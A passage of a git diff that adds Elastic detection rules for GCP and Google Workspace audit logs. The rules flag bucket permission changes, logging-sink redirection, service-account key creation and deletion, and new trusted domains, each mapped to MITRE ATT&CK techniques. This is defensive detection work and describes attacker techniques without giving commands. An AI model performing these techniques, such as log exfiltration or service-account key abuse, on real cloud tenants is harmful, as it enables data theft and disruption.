"https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/defense_evasion_gcp_storage_bucket_configuration_modified.toml b/rules/integrations/gcp/defense_evasion_gcp_storage_bucket_configuration_modified.toml new file mode 100644 index 000000000..d8df8e451 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_storage_bucket_configuration_modified.toml @@ -0,0 +1,37 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when the configuration is modified for a storage bucket in Google Cloud Platform (GCP). An adversary may +modify the configuration of a storage bucket in order to weaken the security controls of their target's environment. +""" +false_positives = [ + """ + Storage bucket configuration may be modified by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Storage Bucket Configuration Modification" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/storage/docs/key-terms#buckets"] +risk_score = 47 +rule_id = "97359fd8-757d-4b1d-9af1-ef29e4a8680e" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:"storage.buckets.update" and event.outcome:success +''' + diff --git a/rules/integrations/gcp/defense_evasion_gcp_storage_bucket_permissions_modified.toml b/rules/integrations/gcp/defense_evasion_gcp_storage_bucket_permissions_modified.toml new file mode 100644 index 000000000..65c5763a5 --- /dev/null +++ b/rules/integrations/gcp/defense_evasion_gcp_storage_bucket_permissions_modified.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when the Identity and Access Management (IAM) permissions are modified for a Google Cloud Platform (GCP) +storage bucket. An adversary may modify the permissions on a storage bucket to weaken their target's security controls +or an administrator may inadvertently modify the permissions, which could lead to data exposure or loss. +""" +false_positives = [ + """ + Storage bucket permissions may be modified by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Storage Bucket Permissions Modification" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/storage/docs/access-control/iam-permissions"] +risk_score = 47 +rule_id = "2326d1b2-9acf-4dee-bd21-867ea7378b4d" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:"storage.setIamPermissions" and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1222" +name = "File and Directory Permissions Modification" +reference = "https://attack.mitre.org/techniques/T1222/" + + +[rule.threat.tactic] +id = "TA0005" +name = "Defense Evasion" +reference = "https://attack.mitre.org/tactics/TA0005/" + diff --git a/rules/integrations/gcp/exfiltration_gcp_logging_sink_modification.toml b/rules/integrations/gcp/exfiltration_gcp_logging_sink_modification.toml new file mode 100644 index 000000000..c0d2cf28d --- /dev/null +++ b/rules/integrations/gcp/exfiltration_gcp_logging_sink_modification.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies a modification to a Logging sink in Google Cloud Platform (GCP). Logging compares the log entry to the sinks +in that resource. Each sink whose filter matches the log entry writes a copy of the log entry to the sink's export +destination. An adversary may update a Logging sink to exfiltrate logs to a different export destination. +""" +false_positives = [ + """ + Logging sink modifications may be done by a system or network administrator. Verify whether the user email, resource + name, and/or hostname should be making changes in your environment. Sink modifications from unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Logging Sink Modification" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/logging/docs/export#how_sinks_work"] +risk_score = 21 +rule_id = "184dfe52-2999-42d9-b9d1-d1ca54495a61" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Log Auditing"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.logging.v*.ConfigServiceV*.UpdateSink and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1537" +name = "Transfer Data to Cloud Account" +reference = "https://attack.mitre.org/techniques/T1537/" + + +[rule.threat.tactic] +id = "TA0010" +name = "Exfiltration" +reference = "https://attack.mitre.org/tactics/TA0010/" + diff --git a/rules/integrations/gcp/impact_gcp_iam_role_deletion.toml b/rules/integrations/gcp/impact_gcp_iam_role_deletion.toml new file mode 100644 index 000000000..a46ed0a80 --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_iam_role_deletion.toml @@ -0,0 +1,53 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies an Identity and Access Management (IAM) role deletion in Google Cloud Platform (GCP). A role contains a set +of permissions that allows you to perform specific actions on Google Cloud resources. An adversary may delete an IAM +role to inhibit access to accounts utilized by legitimate users. +""" +false_positives = [ + """ + Role deletions may be done by a system or network administrator. Verify whether the user email, resource name, + and/or hostname should be making changes in your environment. Role deletions by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP IAM Role Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/iam/docs/understanding-roles"] +risk_score = 21 +rule_id = "e2fb5b18-e33c-4270-851e-c3d675c9afcd" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.DeleteRole and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/gcp/impact_gcp_service_account_deleted.toml b/rules/integrations/gcp/impact_gcp_service_account_deleted.toml new file mode 100644 index 000000000..70f42ef98 --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_service_account_deleted.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a service account is deleted in Google Cloud Platform (GCP). A service account is a special type of +account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to +make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users +through domain-wide delegation. An adversary may delete a service account in order to disrupt their target's business +operations. +""" +false_positives = [ + """ + Service accounts may be deleted by system administrators. Verify that the behavior was expected. Exceptions can be + added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Service Account Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/iam/docs/service-accounts"] +risk_score = 47 +rule_id = "8fb75dda-c47a-4e34-8ecd-34facf7aad13" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.DeleteServiceAccount and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/gcp/impact_gcp_service_account_disabled.toml b/rules/integrations/gcp/impact_gcp_service_account_disabled.toml new file mode 100644 index 000000000..809316e34 --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_service_account_disabled.toml @@ -0,0 +1,54 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a service account is disabled in Google Cloud Platform (GCP). A service account is a special type of +account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to +make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users +through domain-wide delegation. An adversary may disable a service account in order to disrupt to disrupt their target's +business operations. +""" +false_positives = [ + """ + Service accounts may be disabled by system administrators. Verify that the behavior was expected. Exceptions can be + added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Service Account Disabled" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/iam/docs/service-accounts"] +risk_score = 47 +rule_id = "bca7d28e-4a48-47b1-adb7-5074310e9a61" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.DisableServiceAccount and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1531" +name = "Account Access Removal" +reference = "https://attack.mitre.org/techniques/T1531/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml b/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml new file mode 100644 index 000000000..2b167ca40 --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml @@ -0,0 +1,52 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a Google Cloud Platform (GCP) storage bucket is deleted. An adversary may delete a storage bucket in +order to disrupt their target's business operations. +""" +false_positives = [ + """ + Storage buckets may be deleted by a system or network administrator. Verify whether the user email, resource name, + and/or hostname should be making changes in your environment. Bucket deletions by unfamiliar users or hosts should + be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Storage Bucket Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/storage/docs/key-terms#buckets"] +risk_score = 47 +rule_id = "bc0f2d83-32b8-4ae2-b0e6-6a45772e9331" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Monitoring"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:"storage.buckets.delete" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1485" +name = "Data Destruction" +reference = "https://attack.mitre.org/techniques/T1485/" + + +[rule.threat.tactic] +id = "TA0040" +name = "Impact" +reference = "https://attack.mitre.org/tactics/TA0040/" + diff --git a/rules/integrations/gcp/impact_gcp_virtual_private_cloud_network_deleted.toml b/rules/integrations/gcp/impact_gcp_virtual_private_cloud_network_deleted.toml new file mode 100644 index 000000000..655257c37 --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_virtual_private_cloud_network_deleted.toml @@ -0,0 +1,39 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a Virtual Private Cloud (VPC) network is deleted in Google Cloud Platform (GCP). A VPC network is a +virtual version of a physical network within a GCP project. Each VPC network has its own subnets, routes, and firewall, +as well as other elements. An adversary may delete a VPC network in order to disrupt their target's network and business +operations. +""" +false_positives = [ + """ + Virtual Private Cloud networks may be deleted by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Virtual Private Cloud Network Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/vpc/docs/vpc"] +risk_score = 47 +rule_id = "c58c3081-2e1d-4497-8491-e73a45d1a6d6" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:v*.compute.networks.delete and event.outcome:success +''' + diff --git a/rules/integrations/gcp/impact_gcp_virtual_private_cloud_route_created.toml b/rules/integrations/gcp/impact_gcp_virtual_private_cloud_route_created.toml new file mode 100644 index 000000000..bf101495f --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_virtual_private_cloud_route_created.toml @@ -0,0 +1,39 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2022/02/16" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a virtual private cloud (VPC) route is created in Google Cloud Platform (GCP). Google Cloud routes +define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These +destinations can be inside a Google VPC network or outside it. An adversary may create a route in order to impact the +flow of network traffic in their target's cloud environment. +""" +false_positives = [ + """ + Virtual Private Cloud routes may be created by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Virtual Private Cloud Route Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/vpc/docs/routes", "https://cloud.google.com/vpc/docs/using-routes"] +risk_score = 21 +rule_id = "9180ffdf-f3d0-4db3-bf66-7a14bcff71b8" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:(v*.compute.routes.insert or "beta.compute.routes.insert") +''' + diff --git a/rules/integrations/gcp/impact_gcp_virtual_private_cloud_route_deleted.toml b/rules/integrations/gcp/impact_gcp_virtual_private_cloud_route_deleted.toml new file mode 100644 index 000000000..26a27c7f9 --- /dev/null +++ b/rules/integrations/gcp/impact_gcp_virtual_private_cloud_route_deleted.toml @@ -0,0 +1,39 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a Virtual Private Cloud (VPC) route is deleted in Google Cloud Platform (GCP). Google Cloud routes +define the paths that network traffic takes from a virtual machine (VM) instance to other destinations. These +destinations can be inside a Google VPC network or outside it. An adversary may delete a route in order to impact the +flow of network traffic in their target's cloud environment. +""" +false_positives = [ + """ + Virtual Private Cloud routes may be deleted by system administrators. Verify that the configuration change was + expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Virtual Private Cloud Route Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/vpc/docs/routes", "https://cloud.google.com/vpc/docs/using-routes"] +risk_score = 47 +rule_id = "a17bcc91-297b-459b-b5ce-bc7460d8f82a" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:v*.compute.routes.delete and event.outcome:success +''' + diff --git a/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml b/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml new file mode 100644 index 000000000..380bc5e44 --- /dev/null +++ b/rules/integrations/gcp/initial_access_gcp_iam_custom_role_creation.toml @@ -0,0 +1,65 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies an Identity and Access Management (IAM) custom role creation in Google Cloud Platform (GCP). Custom roles are +user-defined, and allow for the bundling of one or more supported permissions to meet specific needs. Custom roles will +not be updated automatically and could lead to privilege creep if not carefully scrutinized. +""" +false_positives = [ + """ + Custom role creations may be done by a system or network administrator. Verify whether the user email, resource + name, and/or hostname should be making changes in your environment. Role creations by unfamiliar users or hosts + should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP IAM Custom Role Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/iam/docs/understanding-custom-roles"] +risk_score = 47 +rule_id = "aa8007f0-d1df-49ef-8520-407857594827" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.CreateRole and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0001" +name = "Initial Access" +reference = "https://attack.mitre.org/tactics/TA0001/" +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1078" +name = "Valid Accounts" +reference = "https://attack.mitre.org/techniques/T1078/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/gcp/persistence_gcp_iam_service_account_key_deletion.toml b/rules/integrations/gcp/persistence_gcp_iam_service_account_key_deletion.toml new file mode 100644 index 000000000..1c336f2a1 --- /dev/null +++ b/rules/integrations/gcp/persistence_gcp_iam_service_account_key_deletion.toml @@ -0,0 +1,57 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies the deletion of an Identity and Access Management (IAM) service account key in Google Cloud Platform (GCP). +Each service account is associated with two sets of public/private RSA key pairs that are used to authenticate. If a key +is deleted, the application will no longer be able to access Google Cloud resources using that key. A security best +practice is to rotate your service account keys regularly. +""" +false_positives = [ + """ + Service account key deletions may be done by a system or network administrator. Verify whether the user email, + resource name, and/or hostname should be making changes in your environment. Key deletions by unfamiliar users or + hosts should be investigated. If known behavior is causing false positives, it can be exempted from the rule. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP IAM Service Account Key Deletion" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://cloud.google.com/iam/docs/service-accounts", + "https://cloud.google.com/iam/docs/creating-managing-service-account-keys", +] +risk_score = 21 +rule_id = "9890ee61-d061-403d-9bf6-64934c51f638" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.DeleteServiceAccountKey and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/gcp/persistence_gcp_key_created_for_service_account.toml b/rules/integrations/gcp/persistence_gcp_key_created_for_service_account.toml new file mode 100644 index 000000000..77a9b161b --- /dev/null +++ b/rules/integrations/gcp/persistence_gcp_key_created_for_service_account.toml @@ -0,0 +1,58 @@ +[metadata] +creation_date = "2020/09/21" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a new key is created for a service account in Google Cloud Platform (GCP). A service account is a +special type of account used by an application or a virtual machine (VM) instance, not a person. Applications use +service accounts to make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud +Identity users through domain-wide delegation. If private keys are not tracked and managed properly, they can present a +security risk. An adversary may create a new key for a service account in order to attempt to abuse the permissions +assigned to that account and evade detection. +""" +false_positives = [ + """ + Service account keys may be created by system administrators. Verify that the configuration change was expected. + Exceptions can be added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Service Account Key Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://cloud.google.com/iam/docs/service-accounts", + "https://cloud.google.com/iam/docs/creating-managing-service-account-keys", +] +risk_score = 21 +rule_id = "0e5acaae-6a64-4bbc-adb8-27649c03f7e1" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.CreateServiceAccountKey and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1098" +name = "Account Manipulation" +reference = "https://attack.mitre.org/techniques/T1098/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/gcp/persistence_gcp_service_account_created.toml b/rules/integrations/gcp/persistence_gcp_service_account_created.toml new file mode 100644 index 000000000..6a2c19384 --- /dev/null +++ b/rules/integrations/gcp/persistence_gcp_service_account_created.toml @@ -0,0 +1,55 @@ +[metadata] +creation_date = "2020/09/22" +maturity = "production" +updated_date = "2021/07/20" +integration = "gcp" + +[rule] +author = ["Elastic"] +description = """ +Identifies when a new service account is created in Google Cloud Platform (GCP). A service account is a special type of +account used by an application or a virtual machine (VM) instance, not a person. Applications use service accounts to +make authorized API calls, authorized as either the service account itself, or as G Suite or Cloud Identity users +through domain-wide delegation. If service accounts are not tracked and managed properly, they can present a security +risk. An adversary may create a new service account to use during their operations in order to avoid using a standard +user account and attempt to evade detection. +""" +false_positives = [ + """ + Service accounts can be created by system administrators. Verify that the behavior was expected. Exceptions can be + added to this rule to filter expected behavior. + """, +] +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Service Account Creation" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = ["https://cloud.google.com/iam/docs/service-accounts"] +risk_score = 21 +rule_id = "7ceb2216-47dd-4e64-9433-cddc99727623" +severity = "low" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Identity and Access"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:google.iam.admin.v*.CreateServiceAccount and event.outcome:success +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" +[[rule.threat.technique]] +id = "T1136" +name = "Create Account" +reference = "https://attack.mitre.org/techniques/T1136/" + + +[rule.threat.tactic] +id = "TA0003" +name = "Persistence" +reference = "https://attack.mitre.org/tactics/TA0003/" + diff --git a/rules/integrations/gcp/privilege_escalation_gcp_kubernetes_rolebindings_created_or_patched.toml b/rules/integrations/gcp/privilege_escalation_gcp_kubernetes_rolebindings_created_or_patched.toml new file mode 100644 index 000000000..059bc40c6 --- /dev/null +++ b/rules/integrations/gcp/privilege_escalation_gcp_kubernetes_rolebindings_created_or_patched.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2021/06/06" +maturity = "production" +updated_date = "2022/01/24" +integration = "gcp" + +[rule] +author = ["Elastic", "Austin Songer"] +description = """ +Identifies the creation or patching of potentially malicious role bindings. Users can use role bindings and cluster role +bindings to assign roles to Kubernetes subjects (users, groups, or service accounts). +""" +from = "now-20m" +index = ["filebeat-*", "logs-gcp*"] +language = "kuery" +license = "Elastic License v2" +name = "GCP Kubernetes Rolebindings Created or Patched" +note = """## Config + +The GCP Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.""" +references = [ + "https://cloud.google.com/kubernetes-engine/docs/how-to/audit-logging", + "https://unofficial-kubernetes.readthedocs.io/en/latest/admin/authorization/rbac/", + "https://cloud.google.com/kubernetes-engine/docs/how-to/role-based-access-control", +] +risk_score = 47 +rule_id = "2f0bae2d-bf20-4465-be86-1311addebaa3" +severity = "medium" +tags = ["Elastic", "Cloud", "GCP", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(googlecloud.audit or gcp.audit) and event.action:(io.k8s.authorization.rbac.v*.clusterrolebindings.create or +io.k8s.authorization.rbac.v*.rolebindings.create or io.k8s.authorization.rbac.v*.clusterrolebindings.patch or +io.k8s.authorization.rbac.v*.rolebindings.patch) and event.outcome:success and +not gcp.audit.authentication_info.principal_email:"system:addon-manager" +''' + + +[[rule.threat]] +framework = "MITRE ATT&CK" + +[rule.threat.tactic] +id = "TA0004" +name = "Privilege Escalation" +reference = "https://attack.mitre.org/tactics/TA0004/" + diff --git a/rules/integrations/google_workspace/application_added_to_google_workspace_domain.toml b/rules/integrations/google_workspace/application_added_to_google_workspace_domain.toml new file mode 100644 index 000000000..d24110713 --- /dev/null +++ b/rules/integrations/google_workspace/application_added_to_google_workspace_domain.toml @@ -0,0 +1,49 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a Google marketplace application is added to the Google Workspace domain. An adversary may add a malicious +application to an organization’s Google Workspace domain in order to maintain a presence in their target’s organization +and steal data. +""" +false_positives = [ + """ + Applications can be added to a Google Workspace domain by system administrators. Verify that the configuration + change was expected. Exceptions can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Application Added to Google Workspace Domain" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-gsuite.html""" +references = ["https://support.google.com/a/answer/6328701?hl=en#"] +risk_score = 47 +rule_id = "785a404b-75aa-4ffd-8be5-3334a5a544dd" +severity = "medium" +tags = ["Elastic", "Cloud", "Google Workspace", "Continuous Monitoring", "SecOps", "Configuration Audit"] +timestamp_override = "event.ingested" +type = "query" + +query = ''' +event.dataset:(gsuite.admin or google_workspace.admin) and event.provider:admin and event.category:iam and event.action:ADD_APPLICATION +''' + diff --git a/rules/integrations/google_workspace/domain_added_to_google_workspace_trusted_domains.toml b/rules/integrations/google_workspace/domain_added_to_google_workspace_trusted_domains.toml new file mode 100644 index 000000000..c0e07a538 --- /dev/null +++ b/rules/integrations/google_workspace/domain_added_to_google_workspace_trusted_domains.toml @@ -0,0 +1,48 @@ +[metadata] +creation_date = "2020/11/17" +maturity = "production" +updated_date = "2021/07/20" +integration = "google_workspace" + +[rule] +author = ["Elastic"] +description = """ +Detects when a domain is added to the list of trusted Google Workspace domains. An adversary may add a trusted domain in +order to collect and exfiltrate data from their target’s organization with less restrictive security controls. +""" +false_positives = [ + """ + Trusted domains may be added by system administrators. Verify that the configuration change was expected. Exceptions + can be added to this rule to filter expected behavior. + """, +] +from = "now-130m" +index = ["filebeat-*", "logs-google_workspace*"] +interval = "10m" +language = "kuery" +license = "Elastic License v2" +name = "Domain Added to Google Workspace Trusted Domains" +note = """## Config + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +### Important Information Regarding Google Workspace Event Lag Times +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit 